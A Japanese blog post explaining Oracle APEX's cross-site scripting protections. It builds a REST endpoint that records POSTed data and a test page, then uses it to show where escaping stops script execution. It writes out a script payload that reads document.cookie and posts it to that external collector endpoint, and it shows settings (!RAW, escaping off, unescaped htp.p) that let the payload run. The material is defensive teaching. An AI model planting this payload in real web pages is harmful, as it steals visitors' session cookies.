2021年3月26日金曜日

クロスサイト・スクリプティングの対応について

 先日、SQLインジェクションについて記事を書いたので、今度はクロスサイト・スクリプティングについても書いてみようと思います。SQLインジェクションは任意のSQLをサーバーに実行させるものですが、クロスサイト・スクリプティングは任意のJavaScriptのコードをブラウザに実行させるものです。

Oracle APEXのマニュアルの以下のセクションに記載があります。

20.2.3 クロスサイト・スクリプティング保護の理解

ブラウザに設定されているクッキー情報を抜き出して外部に保存することで、保護がどのように働くかを確認します。

準備


ブラウザのクッキーを読み取り、その情報をHTTPのPOSTで送信して保存させます。

最初に、受け取ったクッキーの情報を保存するサーバーの準備をします。Oracle REST Data ServicesのRESTサービスを作ります。

まずは、受け取った情報を保存する表を作成します。クイックSQLで以下のモデルを記述し、表を作成します。SQLの生成SQLスクリプトを保存、そして、レビューおよび実行を行います。アプリケーションの作成は行わず、表だけを作成します。
# prefix: xss
# semantics: default
client_data
    cookie clob
    when   date /nn /default sysdate

表XSS_CLIENT_DATAが作成されます。

この表にデータを保存する、RESTサービスを作成します。今回はOracle APEXのUIを使用します。SQLワークショップからRESTfulサービスを開き、左ペインのツリーよりモジュールを選択します。右のORDS RESTfulモジュールの画面より、モジュールの作成を実行します。


モジュール名testベース・パス/test/とし、モジュールの作成を実行します。


モジュールが作成されたので、続いてテンプレートの作成を行います。


URIテンプレートcookieとします。テンプレートの作成を実行します。


テンプレートが作成されたので、ハンドラの作成を実行します。


メソッドPOSTソースには以下を記述します。ハンドラの作成を実行します。
begin
   insert into xss_client_data(cookie) values(:body_text);
   commit;
end;

ハンドラが作成されたら、完全なURLをコピーします。


データの書き込みをテストします。curlでの実行例は以下になります。

% curl -X POST -d "abcd" https://環境依存のURL/test/cookie


表XSS_CLIENT_DATAの内容を確認します。SQLコマンドより以下のSELECT文を実行します。
SELECT * FROM XSS_CLIENT_DATA


データが保存されていれば、クッキーを保存するために呼び出すRESTサービスは完成です。

続いて、クロスサイト・スクリプティングの動作確認に使用するアプリケーションを作成します。最初に空のアプリケーションを作成します。アプリケーション・ビルダーから新規アプリケーション作成を実行します。

名前クロスサイト・スクリプティングの確認とし、アプリケーションの作成を実行します。


色々なコンポーネントでの確認を、それぞれ別のページに実装します。全てのページでJavaScriptを含むテキストの入力を共通にするため、グローバル・ページを使います。

ページ・デザイナでグローバル・ページを開き、テキスト領域のページ・アイテムを作成します。

Content Bodyにタイトルテキスト入力タイプ静的コンテンツとしたリージョンを作成します。


このリージョンはログイン・ページには共有させたくないため、サーバー側の条件として、タイプ現在のページはカンマで区切られたリストに含まれないを選択し、ページとしてログイン・ページのページ番号である9999を設定します。


作成したリージョンに、ページ・アイテムを作成します。名前P0_TEXTタイプテキスト領域ラベルテキストとします。


テキスト領域のデフォルトとして、タイプ静的を選択し、以下のコードを設定します。ここに記載されたJavaScriptのコードが実行されると、クッキーの情報が盗まれたことになります。ここで示した処理以外でも、任意のJavaScriptを実行できます。そのため、大変危険です。
<script>
let url = "https://先程作成したRESTサービスのURL/test/cookie";
let req = new XMLHttpRequest();
req.open("POST",url,true);
req.send(document.cookie);
</script>

ページ・アイテムP0_TEXTに入力されたテキストをサーバーに送信するため、ボタンを追加します。識別名前B_SUBMITラベル送信とします。


ちなみに、テキスト入力に使用するコンポーネントのセキュリティのプロパティとして、制限付き文字の指定が存在します。


最初から特殊文字やHTMLタグの入力を許さなければ、クロスサイト・スクリプティングは発生しません。今回はこちらの指定は使用せず、デフォルトのすべての文字列を保存できます。のままにしておきます。また、データの入力フォーム自体は一箇所とは限らないため、ここで入力に制限を加えたとしても、クロスサイト・スクリプティングへの対策が不要になるということはありません。

以上でクロスサイト・スクリプティングを確認するための準備が完了しました。

置換文字列での保護


表示する文字列に置換文字列が含まれていて、その置換文字列がJavaScriptのコードを含むケースをテストします。

ホーム・ページをページ・デザイナで開き、静的コンテンツのリージョンを作成します。

タイトル置換文字列タイプ静的コンテンツソーステキストとして、&P0_TEXT.を設定します。


ページを実行して動作を確認します。


ページ・アイテムP0_TEXTの内容が文字列として表示されています。置換文字列はHTMLをエスケープした上で置き換えるので、ページ・アイテムに含まれるJavaScriptが実行されることはありません。

置換文字列を!RAWで修飾すると、HTMLのエスケープ処理は行われません。&P0_TEXT.を&P0_TEXT!RAW.に置き換えて、再度ページを実行してみます。


ページを実行すると、何も表示されません。<script>...</script>で囲まれているJavaScriptのコードが実行されています。


表XSS_CLIENT_DATAを確認します。クッキーが保存されていることを確認できるはずです。


置換文字列についていえば、!RAWで修飾することで、意図的にエスケープ処理を回避しない限り、JavaScriptのコードが実行されることはありません。


ページ・アイテムの保護


表示のみのページ・アイテムに、JavaScriptのコードが含まれているケースをテストします。

新規に空白のページを作成します。ページの作成を実行します。


空白ページをクリックします。


名前ページ・アイテムページ・モード標準ブレッドクラムBreadcrumbを選択します(エントリ名はページ・アイテムになります)。オプションの静的コンテンツ・リージョンとしてリージョン1ページ・アイテムを入力し、静的リージョンをひとつだけ作成します。に進みます。


ナビゲーションのプリファレンスとして、新規ナビゲーション・メニュー・エントリの作成を選択し、へ進みます。


終了をクリックします。これでページは完成です。


P0_TEXTの内容をソースとして表示するページ・アイテムP2_TEXTを作成します。

名前P2_TEXTタイプ表示のみに設定します。ラベルテキスト設定基準Item Value改行の表示ONです。ソースタイプアイテムとし、アイテムはグローバル・ページからP0_TEXTを選択します。

以上の設定を行い、ページを実行してみます。JavaScriptが実行されることなく、文字列として画面に表示されていることが確認できます。


これもJavaScriptとして実行される設定に変更してみます。

ページ・アイテムP2_TEXTのセキュリティにある特殊文字をエスケープOFFにし、設定にある改行の表示OFFにします。これでP0_TEXTの内容が、エスケープ処理されずに、そのまま出力されます。


実行されたページにJavaScriptのコードは表示されません。コードは実行されているため、先程と同様に、表XSS_CLIENT_DATAにクッキーが保存されていることも確認できます。


ページ・アイテムの表示については、特殊文字をエスケープはデフォルトでONです。意図的に特殊文字をエスケープをOFFにしなければ、JavaScriptのコードが実行されることはありません。

改行の表示がONの場合、JavaScriptのコードに含まれる改行が<br>に置き換わることで、シンタックス・エラーが発生します。JavaScriptが実行されないわけではありません。

レポートの保護


レポートの列の出力に、JavaScriptのコードが含まれているケースをテストします。

先程と同様に、静的コンテンツ・リージョンを含む空白のページを作成します。名前レポートとします。この設定以外は、同じ手順になります。


新規に作成されたページに含まれるリージョンであるレポートを選択し、タイプクラシック・レポートに変更します。ソースタイプとしてSQL問合せを選択し、SQL問合せとして以下を設定します。列JSにJavaScriptのコードが含まれます。
select :P0_TEXT js from dual

ページを実行すると、以下の表示になります。JavaScriptが文字列として表示され、実行されることはありません。


これもJavaScriptとして実行される設定を行ってみます。レポート列にもページ・アイテムと同様に特殊文字をエスケープのプロパティを持っています。これをOFFにします。


変更を行ったのち、ページを実行して確認します。

列JSにJavaScriptのコードは表示されません。コードは実行されているため、先程と同様に、表XSS_CLIENT_DATAにクッキーが保存されていることも確認できます。


レポート列の表示については、特殊文字をエスケープはデフォルトでONです。意図的に特殊文字をエスケープをOFFにしなければ、JavaScriptのコードが実行されることはありません。

レポート列を修飾したい場合は、SELECT文にHTMLのタグを含めて特殊文字をエスケープをOFFにする、といった記述は行わず、列の書式のHTML式を使うことが推奨されています。

例えば、以下のSQLの列DUMMYを太字にします。
select dummy from dual
SQLを以下に変更して、列DUMMYの特殊文字をエスケープをOFFにしたりせず、
select '<b>' || dummy || '</b>' dummy from dual
HTML式として<b>#DUMMY#</b>を設定します。


または、CSSクラスとしてu-boldを設定します。


このような対応を行い、特殊文字をエスケープはONを維持します。

置換文字列に!RAW修飾子があったように、列の置換文字列にも!RAW修飾子があります。そのため、特殊文字をエスケープがONであっても、HTML式として#JS!RAW#と記載することにより、エスケープ処理を迂回することができます。


!RAWの使用は危険なので、アプリケーションに含まれていないことをスポットライト・サーチを使って確認してもよいでしょう。


コードによる出力の保護


JavaScriptが含まれているページ・アイテムを、PL/SQLコードで出力するケースをテストします。

先程と同様に、静的コンテンツ・リージョンを含む空白のページを作成します。名前PL/SQLコードとします。手順は同じです。


新規に作成されたページに含まれるリージョンであるPL/SQLコードを選択し、タイプPL/SQL動的コンテンツに変更します。ソースPL/SQLコードとして以下を設定します。
htp.p(:P0_TEXT);

ページを実行して、動作を確認します。

今回は最初からJavaScriptのコードが文字列として表示されず、コードが実行されています。表XSS_CLIENT_DATAの内容を確認すると、クッキーが保存されているはずです。


PL/SQLのコードから出力する場合、文字列をエスケープするのは開発者の責任です。PL/SQLコードは以下のように記述しなければなりません。文字列のエスケープには、Oracle APEXが標準で提供しているパッケージAPEX_ESCAPEに含まれる、APEX_ESCAPE.HTMLファンクションを使用します。
htp.p(apex_escape.html(:P0_TEXT));
コードを変更して実行すると、以下のようにJavaScriptが文字列として画面に表示されます。実行されることはありません。


ちなみに今回はクッキーのデータを抜き出しました。Oracle APEXではクッキーの情報だけではセッションを乗っ取ることはできません。URLに含まれるセッションIDと照合するためです。ページ・アクセスの保護については以前にこちらの記事で解説しています。

クロスサイト・スクリプティングの対応の説明は以上です。

Oracle APEXの安全なアプリケーションの開発の参考になれば幸いです。